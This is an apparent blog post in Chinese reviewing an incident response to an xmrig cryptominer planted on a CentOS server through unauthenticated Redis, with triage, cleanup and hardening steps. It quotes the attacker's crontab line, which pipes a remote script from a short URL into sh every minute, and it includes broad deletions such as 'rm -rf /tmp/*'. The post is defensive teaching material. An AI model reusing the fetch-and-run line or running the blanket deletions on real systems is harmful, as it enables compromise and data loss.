一次真实应急响应:服务器被植入挖矿木马复盘
一次真实应急响应:服务器被植入挖矿木马复盘
前言
在企业服务器安全运维领域,挖矿木马入侵属于最高发、隐蔽性极强、资源损耗巨大、极易反复感染的典型安全事件。和勒索病毒直接加密业务数据造成毁灭性打击不同,挖矿木马不会主动删除、篡改业务文件,它的目标非常单纯:窃取服务器算力,持续进行虚拟货币挖矿。很多中小企业运维很容易将业务卡顿、接口超时简单归因为业务代码、数据库慢查询,忽略服务器资源被恶意程序占用,等到云账单暴涨、业务大面积不可用之后,才发现服务器已经被挖矿木马长期驻留。
纵观大量挖矿应急案例,绝大多数企业在遭受挖矿入侵之后,处理方式都非常粗糙:发现 CPU 满载,直接 kill 掉挖矿进程,删除临时目录下的木马二进制文件,简单重启服务器之后就宣告处理完毕。这种方式只能临时缓解故障,攻击者预埋的持久化后门完全没有清理,短则几十分钟,长则服务器重启之后,挖矿程序自动复活,服务器再次沦陷,陷入 “查杀→复发→再查杀” 的无限循环。更严重的是,攻击者拿下服务器权限之后,除了植入挖矿程序,往往还会留下备用后门,后续可利用该服务器作为跳板横向渗透内网其他主机,造成更大范围安全灾难。
本文完整复盘一次真实的生产环境 Linux 服务器挖矿木马应急响应全过程,服务器为 CentOS7.9 云主机,承载线上业务。从监控告警发现异常、紧急业务止损、进程与流量初步排查、木马样本分析、入侵入口溯源、定位持久化后门、彻底清理恶意程序、漏洞修复、事后加固,到事件复盘与长期巡检方案,完整还原应急响应全流程。文中附带全部可直接复制使用的排查、查杀命令,梳理本次事件中运维踩过的坑,总结挖矿木马应急标准化处置思路。全文偏向实战落地,适合运维工程师、应急响应人员、红队学习者、企业安全负责人阅读,学习挖矿类安全事件的排查、溯源与加固方法。
免责声明:本文涉及的挖矿木马分析、入侵链路拆解、应急排查与查杀命令,仅用于企业合规安全运维、授权应急响应复盘、网络安全学习研究。未经授权在服务器内植入、传播、运行挖矿程序,非法占用算力资源,违反《中华人民共和国网络安全法》《中华人民共和国刑法》相关规定,违规操作者承担全部法律责任,本文作者不对违规使用产生的后果负责。
一、事件整体概述
1.1 受影响服务器基础环境
本次中招的服务器是某中小企业线上业务云服务器,详细信息整理如下:
- 操作系统:CentOS 7.9 64 位
- 硬件配置:8 核 16G 云主机,公网独立弹性 IP
- 承载业务:Nginx 网站服务、Java 后端业务、MySQL5.7 数据库、Redis 3.2 缓存,对外提供企业官网、客户内部管理系统
- 网络策略:云安全组仅放行 80、443、22、3306、6379 端口,内网网段可互相访问
- 安全基线现状:无 EDR/HIDS 主机安全软件,系统审计日志只默认保留短期记录,未远程同步日志;Redis 直接对外开放 6379 端口,未设置访问密码;SSH 使用默认 22 端口对外开放,仅简单限制 IP,存在部分可访问陌生 IP;服务器长期未做资产巡检,系统补丁超过一年未更新;运维账号密码复杂度较低。
- 入侵时间:通过文件创建时间、系统登录日志综合判定,攻击者在凌晨 02:16 成功拿下服务器权限,植入挖矿程序与持久化脚本。
- 告警发现时间:次日上午 09:32,云监控平台触发 CPU 使用率持续高于 90% 告警,运维收到短信告警之后介入排查。
1.2 故障核心现象
运维收到监控告警之后,登录平台查看指标,发现一系列异常特征,也是挖矿木马入侵最典型的表现:
- CPU 资源持续满载:服务器 8 核 CPU 长期维持在 95%~100%。日常业务平稳运行状态下 CPU 占用仅为 8%~15%,当日没有版本发布、没有营销活动、不存在流量峰值,资源占用异常。
- 业务卡顿严重:网站页面加载缓慢,后端接口大量超时,客户管理系统提交表单响应延迟几十秒,定时报表任务执行失败,少量用户反馈页面 502 错误。
- 恶意进程杀而复活:登录服务器使用 top 查看进程,发现高占用的 xmrig 挖矿进程,手动 kill 进程之后,间隔几十秒进程再次自动拉起,无法一次性根除。
- 大量异常外网出站连接:服务器持续和多个境外 IP 建立 TCP 长连接,目标端口多为矿池通信端口,持续消耗公网带宽。
- 服务器系统负载飙升:系统平均 load 值长期大于 8,远超服务器核心数,系统处于超负荷运行状态。
- 云资源账单异常:云服务商后台的 CPU 算力、外网出流量计费持续上涨,若不及时处置,当月费用会成倍增加。
1.3 初步应急判断
结合指标特征直接判断,这是典型的挖矿木马入侵事件。进程 kill 后自动重启,代表攻击者不仅仅只是上传了挖矿二进制,提前部署了守护进程 + 持久化机制。如果只单纯杀掉挖矿进程、删除木马文件,不找到入侵入口、清除全部持久化链路,木马一定会再次复活。
应急响应的核心原则:先止损保业务,保留证据,溯源入侵入口,清除所有恶意程序与后门,修复漏洞,最后做加固,不能直接重启服务器或者全盘删除文件,避免销毁日志、文件时间戳等溯源证据。
二、第一阶段应急:紧急止损,控制事态扩大
应急响应标准流程第一步是止损,目标是阻断木马继续挖矿、阻断恶意外联、防止木马横向扩散到内网其他服务器,同时尽可能保障核心业务不中断。很多新手应急人员一上来就直接删除文件、清理日志,直接丢失溯源线索,后续无法定位攻击者是从哪个漏洞进入服务器。
2.1 网络隔离,切断矿池通信
- 修改云服务器安全组规则:临时关闭所有出站访问限制之外的端口,保留业务必须的出站连接,阻断服务器和矿池服务器之间的网络通信。挖矿程序无法和矿池通信,就无法提交算力、获取收益,挖矿行为直接中断。
- 临时切断内网横向通道:在云平台后台,临时关闭该服务器访问内网其他业务主机的权限,防止攻击者利用当前服务器作为跳板,对内网其他服务器扫描、爆破、植入木马。
- 不关机、不重启服务器:保留内存中的进程信息、网络连接、文件句柄,保存日志证据,用于后续溯源分析。一旦重启,内存中的临时进程、部分内存日志直接丢失,会加大溯源难度。
2.2 初步排查异常进程与网络连接
登录服务器终端,使用系统命令快速定位异常进程,确认木马类型。
# 查看CPU占用排序
top -c
# 检索常见挖矿进程名称,xmrig、minerd、cpuminer、kthreaddi等
ps aux | grep -E "xmrig|minerd|cpuminer|kthreaddi|nginxd" | grep -v grep
# 查看所有TCP网络连接,寻找矿池通信地址
netstat -antlp | grep ESTABLISHED
# 新版系统推荐ss命令
ss -antlp
执行 top 之后可以看到,xmrig 进程占用接近 100% CPU,进程路径位于/tmp/目录下。同时存在一个名称伪装成系统进程的守护进程,守护进程会定时检测 xmrig 是否存在,如果发现挖矿进程被 kill,就会重新执行脚本,下载并启动 xmrig,这就是 kill 进程马上复活的根本原因。
2.3 临时终止恶意进程,恢复业务
在保留日志证据的前提下,批量终止挖矿进程、守护进程,释放 CPU 资源,恢复业务访问。
# 批量终止挖矿相关进程
pkill -9 -f xmrig
pkill -9 -f minerd
pkill -9 -f cpuminer
pkill -9 -f kthreaddi
# 清理临时目录恶意文件
rm -rf /tmp/* /var/tmp/*
执行完成后,等待 1-2 分钟观察监控面板,CPU 占用快速下降到 12% 左右,Nginx、Java 业务恢复正常,网站和管理系统接口超时问题消失。
重点提醒:这一步仅仅是临时缓解故障,持久化后门依旧存在,只要触发条件(定时任务、系统服务),木马会再次下载执行,绝对不能到此就结束应急。
三、第二阶段深度排查:溯源入侵入口,定位持久化链路
业务恢复之后,进入本次应急最核心环节:溯源攻击者的入侵入口,找出攻击者预埋的全部持久化机制。如果找不到入口,就算清理完木马,攻击者依旧可以再次利用同一个漏洞重新入侵服务器。
3.1 登录日志排查,寻找入侵痕迹
优先查看 Linux 登录审计日志,查看陌生 IP 登录记录:
# 查看ssh登录日志
grep "sshd" /var/log/secure
# 查看所有登录记录
last
lastlog
查看日志发现,在凌晨 02:16,有一个境外 IP 发起 Redis 未授权访问攻击,成功写入 SSH 公钥。结合业务配置确认,服务器 Redis 对外开放 6379 端口,没有设置密码,也没有 IP 白名单,攻击者直接连接 Redis,利用 Redis 未授权漏洞写入 SSH authorized_keys 公钥,拿到服务器 root 权限。
这就是本次事件的入侵完整入口:
公网暴露 Redis 6379 端口 → Redis 无密码未授权访问 → 攻击者写入 SSH 公钥后门 → 获取 root 登录权限 → 上传挖矿脚本、xmrig 二进制程序 → 部署守护进程 + crontab 定时任务持久化。
3.2 排查 SSH 密钥后门
攻击者拿到 root 权限后,最常用的持久化手段就是写入 SSH 公钥。
# 检查root用户ssh密钥
ls -la /root/.ssh
cat /root/.ssh/authorized_keys
# 遍历服务器所有用户的ssh公钥
for user in $(cut -f1 -d: /etc/passwd); do
if [ -d /home/$user/.ssh ];then
echo "====用户 $user 的authorized_keys===="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
fi
done
查看/root/.ssh/authorized_keys,发现里面存在一条陌生公钥,不属于运维人员的运维密钥,确认这是攻击者留下的 SSH 后门,攻击者随时可以使用私钥登录服务器。
3.3 排查 Crontab 定时任务(本次事件核心持久化点)
挖矿木马最偏好使用 crontab 作为持久化方式,本次攻击者在 root 用户下写入了定时任务,每分钟执行一次脚本,脚本会检查挖矿程序是否存在,不存在则从外部地址下载 xmrig 并启动。
# 查看root用户定时任务
crontab -l
# 遍历服务器全部用户crontab
for u in $(cut -f1 -d: /etc/passwd); do crontab -u $u -l 2>/dev/null; done
# 查看系统全局cron目录
ls -l /etc/cron.d/
cat /etc/crontab
ls /etc/cron.hourly /etc/cron.daily
# 查看cron执行日志,验证任务执行时间
grep CRON /var/log/cron
执行crontab -l,看到 root 用户存在一条定时任务:
*/1 * * * * curl shturl.cc/PM5oaEzCVs1ay3u | sh
每分钟拉取远程恶意脚本并执行。一旦挖矿进程被杀,一分钟之内脚本就会重新下载木马启动,这是进程反复复活的根源。
3.4 检查 systemd 系统服务、开机脚本
除 crontab 之外,攻击者还可能新增 systemd 服务实现开机自启,需要全面排查:
# 列出所有开机自启服务
systemctl list-unit-files --type=service
# 查看/etc/systemd/system目录下新增service文件
ls -l /etc/systemd/system/
# 查找最近7天修改的service文件
find /etc/systemd/system -mtime -7 -type f
本次事件中攻击者没有新增 systemd 服务,只使用 crontab+SSH 密钥双持久化。但应急规范要求必须检查,很多挖矿团伙会同时部署多条持久化链路,防止其中一条被清理。
3.5 检查 SUID 后门、LD_PRELOAD、PAM 高级后门
为了确保没有遗漏高级后门,继续排查高级持久化手段:
# 查找系统SUID文件
find / -perm -u+s -type f 2>/dev/null
# 检查ld.so.preload动态库劫持后门
cat /etc/ld.so.preload
本次事件没有发现 LD_PRELOAD、SUID、PAM 这类高阶后门,攻击者以快速挖矿为目标,优先使用简单高效的 crontab+SSH 密钥组合。APT 类攻击才会大量使用底层后门,普通挖矿团伙大多选择简单低成本持久化。
3.6 木马样本简单分析
从 /tmp 目录找回木马样本,简单分析脚本逻辑:
恶意 shell 脚本功能拆解:
- 下载 xmrig 挖矿二进制程序,保存到 /tmp 隐藏目录;
- 杀死其他同类挖矿木马(挖矿团伙之间互相清理对手木马,抢占服务器算力);
- 启动 xmrig,配置矿池地址、钱包地址;
- 启动守护进程,循环检测 xmrig 进程状态;
- 写入 crontab 定时任务,保证永久执行;
- 尝试对内网其他主机扫描 Redis 6379 端口,横向传播挖矿木马。
这也是现在挖矿木马的典型特征:拿到一台服务器权限之后,会自动对内网扫描,尝试利用相同漏洞批量植入木马,造成内网批量沦陷。
四、第三阶段:彻底清除全部恶意程序与后门
溯源完成之后,开始全面清理所有恶意文件、定时任务、SSH 后门。清理顺序不能颠倒,优先删除持久化项,再删除木马文件,否则清理过程中定时任务会重新下载木马。
4.1 删除定时任务持久化
# 清除root用户crontab
crontab -r
# 确认清空
crontab -l
同时检查/etc/cron.d/目录,删除陌生的 cron 任务文件。
4.2 清理 SSH 后门公钥
打开/root/.ssh/authorized_keys,删除攻击者写入的陌生公钥行,不要直接删除整个文件,防止把运维自己的登录密钥一并删掉,导致无法远程登录服务器。清理完成后核对文件,只保留运维可信公钥。
4.3 清理全部恶意二进制、脚本文件
# 删除tmp目录全部恶意文件
rm -rf /tmp/* /var/tmp/*
# 查找最近24小时新增的可疑可执行文件
find / -type f -mtime -1 -executable 2>/dev/null
仔细核对查找结果,删除 xmrig、守护程序、恶意 shell 脚本。
4.4 账号安全检查
# 查看系统所有用户
cat /etc/passwd
# 查看sudo权限用户
grep sudo /etc/group
检查系统是否新增陌生管理员账号,本次事件攻击者没有新增系统账号,只使用 SSH 密钥登录。如果发现陌生账号,使用userdel -r 用户名删除。
4.5 再次全面巡检复核
清理完成后,重复执行一遍全套排查命令:检查进程、网络连接、crontab、ssh 密钥、systemd 服务,确认没有残留恶意程序和持久化项。持续观察监控面板 30 分钟,确认 CPU 没有再次飙升,不存在新的恶意外联连接。
五、漏洞修复与服务器安全加固
清理木马不等于事件结束,必须修复入侵漏洞,防止攻击者再次利用相同入口重新入侵服务器。本次事件根因是 Redis 未授权访问公网暴露,同时附带多项安全缺陷,逐项加固。
5.1 Redis 安全加固(本次入侵核心漏洞)
- 设置 Redis 强密码,修改 redis.conf 的 requirepass 配置;
- 禁止 Redis 公网访问,云安全组 6379 端口只放行内网可信服务器 IP;
- 禁用 Redis 高危命令:FLUSHALL、CONFIG、KEYS 等;
- 关闭 Redis 默认保护模式,禁止随意写入文件,禁止写 SSH 密钥目录;
- Redis 低版本 3.2 存在大量漏洞,后续计划升级到安全版本。
5.2 SSH 服务加固
- 继续保留 SSH 22 端口,配置 IP 白名单,只允许运维办公出口 IP 访问 22 端口;
- 禁用 root 账号密码登录 SSH,只允许密钥登录;
- 禁用不需要的密码认证:PasswordAuthentication no;
- 设置 SSH 登录失败次数限制,防止暴力破解。
5.3 系统基线加固
- 修改服务器 root 账号、业务数据库账号、运维账号为高强度密码(大小写 + 数字 + 特殊符号,长度大于 12 位),禁止弱密码;
- 开启系统 audit 审计服务,登录日志、账号操作、定时任务变更日志,远程同步到日志服务器,攻击者无法本地删除销毁日志;
- 开启自动安全补丁更新,定期执行系统漏洞扫描;
- 部署 HIDS 主机入侵检测系统,监控新增账号、新增 crontab、异常进程、异常外联,触发告警;
- /tmp、/var/tmp 目录挂载增加 noexec 权限,禁止在临时目录执行二进制程序,就算后续攻击者上传木马,也无法直接运行。
5.4 网络与业务加固
- 梳理云安全组规则,遵循最小权限原则,关闭所有不必要对外暴露端口;
- 内网之间增加访问控制策略,服务器之间不能无限制互相访问;
- Nginx、Java 业务开启日志记录,定期审计访问日志;
- 数据库 3306 端口禁止公网直接暴露,仅内网业务服务器访问。
六、事件复盘,本次应急踩坑总结
本次挖矿事件处置过程中,暴露出企业安全运维大量短板,同时应急人员也踩了几个典型的坑,这里总结出来,方便大家规避同类问题。
坑 1:早期运维习惯只杀进程,忽略持久化
如果本次只 kill xmrig 进程,不去检查 crontab 定时任务,一分钟之后木马自动下载复活,业务反复故障。挖矿木马应急,持久化项才是根源,进程只是表象。
坑 2:轻视 Redis 未授权访问漏洞
很多运维觉得 Redis 只是缓存,没有业务数据,暴露公网无所谓。实际上 Redis 未授权是挖矿团伙最喜欢的攻击入口,拿到 root 权限之后不仅挖矿,还会留下 SSH 后门,作为长期跳板。Redis 无密码 + 公网暴露 = 服务器裸奔。
坑 3:日志没有远程存储
服务器本地日志攻击者可以登录之后删除,销毁入侵证据。本次事件能够成功溯源,得益于攻击者没有清理日志;如果攻击者清理本地 /var/log 日志,溯源难度会极大提升。生产服务器必须将审计日志远程同步到独立日志平台。
坑 4:无常态化资产巡检
服务器上线之后长期不做安全巡检,不知道 Redis 对外暴露、没有密码,漏洞存在数月之久,直到挖矿告警才发现问题。安全防护不能等到出事再补救。
坑 5:低估内网横向扩散风险
挖矿木马拿到服务器权限之后,会自动对内网扫描 6379 端口。如果内网其他服务器同样存在 Redis 未授权,短时间内内网几十台服务器全部中招,损失成倍放大。
七、挖矿木马常态化自查方案,提前发现风险
挖矿入侵最好的处置方式是提前发现,而不是出事之后应急抢修。下面一套常态化巡检脚本,可定期在服务器执行,提前发现挖矿相关异常。
#!/bin/bash
#挖矿木马简易自查脚本
echo "=====检查挖矿相关进程====="
ps aux | grep -E "xmrig|minerd|cpuminer|kthreaddi|nginxd" | grep -v grep
echo -e "\n=====检查异常外联连接====="
netstat -antlp | grep ESTABLISHED
echo -e "\n=====检查所有用户crontab====="
for u in $(cut -f1 -d: /etc/passwd); do crontab -u $u -l 2>/dev/null; done
echo -e "\n=====检查root ssh密钥====="
cat /root/.ssh/authorized_keys 2>/dev/null
echo -e "\n=====检查系统SUID文件====="
find / -perm -u+s -type f 2>/dev/null
巡检重点监控指标:CPU 持续高负载、陌生对外长连接、临时目录出现可执行文件、新增定时任务、SSH authorized_keys 新增陌生公钥。一旦出现任意一项,立即介入排查。
八、全文总结
本次挖矿木马应急响应,完整攻击链路:Redis 未授权访问漏洞 → 写入 SSH 公钥拿到 root 权限 → 植入 crontab 定时任务持久化 + SSH 密钥后门 → 定时脚本自动下载 xmrig 挖矿程序并部署守护进程,占用服务器算力挖矿,同时具备内网横向扫描能力。
整个应急的核心思路:先止损隔离、保护证据,再溯源找到入侵入口,逐层排查所有持久化后门,彻底清理恶意文件,修复漏洞,最后落地长期安全加固和常态化巡检。
很多中小企业的安全防护存在严重 “重业务、轻安全” 的问题,服务器上线之后,端口随意对外开放、中间件不设置密码、长期不做漏洞巡检。挖矿团伙使用自动化扫描脚本,全网批量扫描 Redis、MongoDB、MySQL 弱口令、未授权访问主机,一旦扫描到存在漏洞的服务器,自动化植入挖矿木马,整个入侵过程完全自动化,不需要人工操作。
挖矿木马不仅仅只是消耗算力,它是攻击者进入内网的敲门砖。挖矿团伙拿到服务器 root 权限之后,除挖矿之外,会留存后门,窃取服务器上的业务数据、数据库账号密码,横向渗透内网,后续还可能植入勒索病毒。
服务器安全没有一劳永逸的防护手段。遵循最小权限原则,严格管控公网端口,中间件设置强密码,定期漏洞扫描、主机巡检,部署 HIDS 监控异常行为,远程留存审计日志,才能大幅度降低挖矿、入侵事件发生概率。当遇到服务器 CPU 异常飙升时,不要简单归为业务问题,优先排查是否存在挖矿木马入侵,并且一定要全面排查持久化后门,避免木马反复复活。
以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】


同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)